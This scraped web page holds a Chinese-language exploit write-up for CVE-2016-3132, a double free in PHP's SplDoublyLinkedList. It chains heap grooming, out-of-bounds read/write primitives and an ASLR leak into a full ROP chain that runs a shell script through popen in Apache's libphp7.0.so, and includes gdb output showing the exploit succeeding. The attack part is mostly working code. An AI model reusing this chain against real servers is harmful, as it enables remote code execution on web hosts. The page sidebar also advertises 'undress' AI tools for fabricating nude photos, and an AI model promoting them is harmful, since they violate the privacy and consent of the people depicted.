How to Exploit libphp7.0.so in Apache2
0x00 简介
之前有外国牛人发部blog Double Free in Standard PHP Library Double Link List [CVE-2016-3132]
其文章详述了漏洞成因
#!php<?php$var_1=new SplStack();$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ) 失败的话,对象就会被free两次。略过细节,这种漏洞想继续利用,必须要翻看php源码对于heap的管理套路了。
所需要知道的是,问题对象 SplFixedArray 的尺寸让它存在于php自己维护的一个freelist里面。如果一块内存的引用计数消耗光,php简单地把freelist的next指针指向这块内存,这样就结束了。如果发生了double free,php里面的freelist会变成这样:
就是说当下两次内存申请的时候,两个对象就会 重叠
可以上 套路 了,重叠字符串类型,修改长度,越界读写。
#!cpptypedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string { spl_fixedarray *array; zend_refcounted_h gc; zend_function *fptr_offset_get; zend_ulong h; /* hash value */ zend_function *fptr_offset_set; size_t len; zend_function *fptr_offset_has; char val[1]; zend_function *fptr_offset_del; }; zend_function *fptr_count; int current; int flags; zend_class_entry *ce_get_iterator; zend_object std;} spl_fixedarray_object;/* }}} */
当然,精心的内存布局还是需要的,比如连续申请大量内存什么的,保证要操作的区域干净、连续
最后理想的情况就是这样啦,被改掉长度的字符串后面是整齐排列的 SplFixedArray
能做的事情有:
- 越界读后面堆块指针,获取其真实地址,和与数组游标的对应关系
- 越界写后面对象的函数指针,指向前面获取的地址,即数组的地址
向数组填入内容,这样劫持了$rip
文章写到这里就结束了,poc给到0xdeadbeef
#!phpfunction exception_handler($exception) {global $z;$s=str_repeat('C',0x48);$t=new SplFixedArray2(5);$t[0]='Z';unset($z[22]);unset($z[21]);$heap_addr=read_ptr($s,0x58);print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";//Set Handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//Set fake handlerwrite_ptr($s,0x40,0x300); //handler.offsetwrite_ptr($s,0x4141414141414141,0x308); //handler.free_objwrite_ptr($s,0xdeadbeef,0x310); //handler.dtor.objstr_repeat('z',5);unset($t); //BOOM!}
0x01 实际测试
演示只是演示,没实际意义,在真实的生产环境中,这个洞有没有可能成功利用呢
在此,[email protected]
,真的非常好用!
- Apache/2.4.18
- php 7.0.4
在apache里面php是和libc一样被当做.so来加载的,所以全套保护都上齐全了
- CANARY : ENABLED
- FORTIFY : ENABLED
- NX : ENABLED
- PIE : ENABLED
- RELRO : FULL
不要慌,我们还有更深的套路
刚才那个长度超长的数组对象,除了可以越界读堆块的地址,还可以越界读对象的 函数指针列表地址
这个地址在同一个bin文件里的地址是相对固定的,地址随机化就这么过掉了。
#!php$push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];$pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;$sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;$pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;$pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;$pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;$p_popen=0x00000000000d2580+$aslr_offset;//popen//Set Handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//Set fake handlerwrite_ptr($s,$aslr_offset,0x300);//heap_addr_of_fake_handler and [rax] is here!write_ptr($s,0x4141414141414141,0x300+0x48);write_ptr($s,0x0000000000000072,0x300+0x50);//"r"write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh"write_ptr($s,0x0000000000000068,0x300+0x60);write_ptr($s,$push_rax,0x300+0x10);write_ptr($s,$pop_rsp,0x300+0x36);write_ptr($s,$sub_rsp,0x300+0x8);//now,rsp=rax+0x98write_ptr($s,$pop_rsp,0x300+0x98);write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);//now,rsp=rax-0xf0write_ptr($s,$pop_rsi,0x300-0xf8);write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);write_ptr($s,$pop_rdi,0x300-0xe8);write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);write_ptr($s,$pop_rbp,0x300-0xd8);write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);//now rsp=rax-0xc0,rbp=rax-0xb8write_ptr($s,$p_popen,0x300-0xc8);
很乱的rop里该有的都有了,包括把栈帧指向刚才操作好的内存堆,方便行事。
#!bash[----------------------------------registers-----------------------------------]RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457fRBX: 0x0RCX: 0x16RDX: 0xc4f352ef5bf0be4aRSI: 0x7fc6edc6ec28 --> 0x72 ('r')RDI: 0x7fc6edc6ec30 ("/tmp/a.sh")RBP: 0x7fc6edc6eb20 --> 0x0RSP: 0x7fc6edc6eb18 --> 0x0RIP: 0x7fc6f52fa540 (<_IO_new_popen>: push r12)R8 : 0x20 (' ')R9 : 0x0R10: 0x2R11: 0x38 ('8')R12: 0x7fc6f2798c1c --> 0x0R13: 0x7fc6f27ae8c0 --> 0x40 ('@')R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x7fc6f52fa530 <_IO_new_proc_open+848>: jmp 0x7fc6f52fa4da <_IO_new_proc_open+762> 0x7fc6f52fa532: nop DWORD PTR [rax+0x0] 0x7fc6f52fa536: nop WORD PTR cs:[rax+rax*1+0x0]=> 0x7fc6f52fa540 <_IO_new_popen>: push r12 0x7fc6f52fa542 <_IO_new_popen+2>: push rbp 0x7fc6f52fa543 <_IO_new_popen+3>: mov rbp,rdi 0x7fc6f52fa546 <_IO_new_popen+6>: push rbx 0x7fc6f52fa547 <_IO_new_popen+7>: mov edi,0x100[------------------------------------stack-------------------------------------]0000| 0x7fc6edc6eb18 --> 0x00008| 0x7fc6edc6eb20 --> 0x00016| 0x7fc6edc6eb28 --> 0x00024| 0x7fc6edc6eb30 --> 0xc01a0008000000010032| 0x7fc6edc6eb38 --> 0x1b0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x10048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')0056| 0x7fc6edc6eb50 --> 0x0[------------------------------------------------------------------------------]Legend: code, data, rodata, valueThread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273
别忘了$rsp和$rbp都需要设置好,不然popen不会执行成功的。
最后,有两点要说明一下:
原文poc提供的 read_ptr 有问题,读地址的时候会中间丢掉0
感谢phithon与毕月乌大牛提供正确版本的函数
#!phpfunction read_ptr(&$mystring,$index=0,$little_endian=1){ $s = ""; for($i = 1; $i <= 8; $i++) { $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT); } return hexdec($s);}
另外就是,采用popen这个函数来完成最后的shellcode动作,是因为这个函数在libphp.so的plt里面提供了地址。如果要用system的话,还要到libc里面去找,多算一个模块的地址,就多了一份麻烦和不稳定。
尽管本文成功绕过所有保护成功执行shellcode,但是实际意义依然有限,因为phplib.so的版本太多啦,很多情况下都是自家编译出来的,不同的so文件function table的相对位置会不一样,这样计算的基质会出错,当然构造的rop也全都错了。
php版本多,glibc版本少啊,用glibc做rop啊!用glibc找system函数啊!
除非上面那个被改了长度的数组可以越界读到一个glibc里面的地址,否则怎样都还是需要依靠libphp.so的。
以上です。

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics











In PHP, password_hash and password_verify functions should be used to implement secure password hashing, and MD5 or SHA1 should not be used. 1) password_hash generates a hash containing salt values to enhance security. 2) Password_verify verify password and ensure security by comparing hash values. 3) MD5 and SHA1 are vulnerable and lack salt values, and are not suitable for modern password security.

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

Using preprocessing statements and PDO in PHP can effectively prevent SQL injection attacks. 1) Use PDO to connect to the database and set the error mode. 2) Create preprocessing statements through the prepare method and pass data using placeholders and execute methods. 3) Process query results and ensure the security and performance of the code.

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.
